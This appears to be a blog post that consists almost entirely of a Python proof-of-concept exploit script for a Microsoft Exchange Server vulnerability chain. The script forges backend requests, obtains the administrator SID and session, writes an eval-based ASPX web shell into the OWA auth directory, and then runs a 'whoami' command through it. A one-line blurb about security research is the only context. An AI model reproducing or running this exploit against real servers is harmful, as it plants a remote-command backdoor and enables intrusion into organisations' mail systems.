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About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

import requests
from urllib3.exceptions import InsecureRequestWarning
import random
import string
import sys


def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))

if len(sys.argv) < 2:
    print("使用方式: python PoC.py <target> <email>")
    print("使用方式: python PoC.py mail.btwaf.cn test2@btwaf.cn")
    exit()

proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
target = sys.argv[1]
email = sys.argv[2]
random_name = id_generator(4) + ".js"
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"

shell_path = "Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\test11.aspx"
shell_absolute_path = "\\\\127.0.0.1\\c$\\%s" % shell_path

# webshell-马子内容
shell_content = '<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["code"],"unsafe");}</script>'

autoDiscoverBody = """<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
    <Request>
      <EMailAddress>%s</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
    </Request>
</Autodiscover>
""" % email

print("正在获取Exchange Server " + target+"权限")
print("=============================")
FQDN = "EXCHANGE01"
ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={"Cookie": "X-BEResource=localhost~1942062522",
                                                                        "User-Agent": user_agent},
                  verify=False,proxies=proxies)

if "X-CalculatedBETarget" in ct.headers and "X-FEServer" in ct.headers:
    FQDN = ct.headers["X-FEServer"]


ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=%s/autodiscover/autodiscover.xml?a=~1942062522;" % FQDN,
    "Content-Type": "text/xml",
    "User-Agent": user_agent},
                   data=autoDiscoverBody,
                    proxies=proxies,
                   verify=False
                   )

if ct.status_code != 200:
    print(ct.status_code)
    print("Autodiscover Error!")
    exit()

if "<LegacyDN>" not in str(ct.content):
    print("Can not get LegacyDN!")
    exit()

legacyDn = str(ct.content).split("<LegacyDN>")[1].split(r"</LegacyDN>")[0]
print("Got DN: " + legacyDn)

mapi_body = legacyDn + "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"

ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=Administrator@%s:444/mapi/emsmdb?MailboxId=f26bc937-b7b3-4402-b890-96c46713e5d5@exchange.lab&a=~1942062522;" % FQDN,
    "Content-Type": "application/mapi-http",
    "X-Requesttype": "Connect",
    "X-Clientinfo": "{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}",
    "X-Clientapplication": "Outlook/15.0.4815.1002",
    "X-Requestid": "{E2EA6C1C-E61B-49E9-9CFB-38184F907552}:123456",
    "User-Agent": user_agent
},
                   data=mapi_body,
                   verify=False,
proxies=proxies
                   )
if ct.status_code != 200 or "act as owner of a UserMailbox" not in str(ct.content):
    print("Mapi Error!")
    exit()

sid = str(ct.content).split("with SID ")[1].split(" and MasterAccountSid")[0]

print("Got SID: " + sid)
sid = sid.replace(sid.split("-")[-1],"500")

proxyLogon_request = """<r at="Negotiate" ln="john"><s>%s</s><s a="7" t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s a="3221225479" t="1">S-1-5-5-0-6948923</s></r>
""" % sid

ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=Administrator@%s:444/ecp/proxyLogon.ecp?a=~1942062522;" % FQDN,
    "Content-Type": "text/xml",
    "msExchLogonMailbox": "S-1-5-20",
    "User-Agent": user_agent
},
                   data=proxyLogon_request,
proxies=proxies,
                   verify=False
                   )
if ct.status_code != 241 or not "set-cookie" in ct.headers:
    print("Proxylogon Error!")
    exit()

sess_id = ct.headers['set-cookie'].split("ASP.NET_SessionId=")[1].split(";")[0]

msExchEcpCanary = ct.headers['set-cookie'].split("msExchEcpCanary=")[1].split(";")[0]
print("Got session id: " + sess_id)
print("Got canary: " + msExchEcpCanary)

ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
        FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
    "Content-Type": "application/json; ",
    "msExchLogonMailbox": "S-1-5-20",
    "User-Agent": user_agent

},
                   json={"filter": {
                       "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                                      "SelectedView": "", "SelectedVDirType": "All"}}, "sort": {}},
                   verify=False
                   )

if ct.status_code != 200:
    print("GetOAB Error!")
    exit()
oabId = str(ct.content).split('"RawIdentity":"')[1].split('"')[0]
print("Got OAB id: " + oabId)

oab_json = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
            "properties": {
                "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                               "ExternalUrl": "http://ffff/#%s" % shell_content}}}

ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
        FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
    "msExchLogonMailbox": "S-1-5-20",
    "Content-Type": "application/json; charset=utf-8",
    "User-Agent": user_agent
},
                   json=oab_json,
                   verify=False
                   )
if ct.status_code != 200:
    print("Set external url Error!")
    exit()

reset_oab_body = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
                  "properties": {
                      "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                                     "FilePathName": shell_absolute_path}}}

ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
        FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
    "msExchLogonMailbox": "S-1-5-20",
    "Content-Type": "application/json; charset=utf-8",
    "User-Agent": user_agent
},
                   json=reset_oab_body,
                   verify=False
                   )

if ct.status_code != 200:
    print("写入shell失败了啊")
    exit()

print("成功了。马上就验证shell是否OK!")
print("POST  shell:https://"+target+"/owa/auth/test11.aspx")
shell_url="https://"+target+"/owa/auth/test11.aspx"
print('code=Response.Write(new ActiveXObject("WScript.Shell").exec("whoami").StdOut.ReadAll());')
print("正在请求shell")
data=requests.post(shell_url,data={"code":"Response.Write(new ActiveXObject(\"WScript.Shell\").exec(\"whoami\").StdOut.ReadAll());"},verify=False)
if data.status_code != 200:
    print("写入shell失败")
else:
    print("权限如下:"+data.text.split("OAB (Default Web Site)")[0].replace("Name                            : ",""))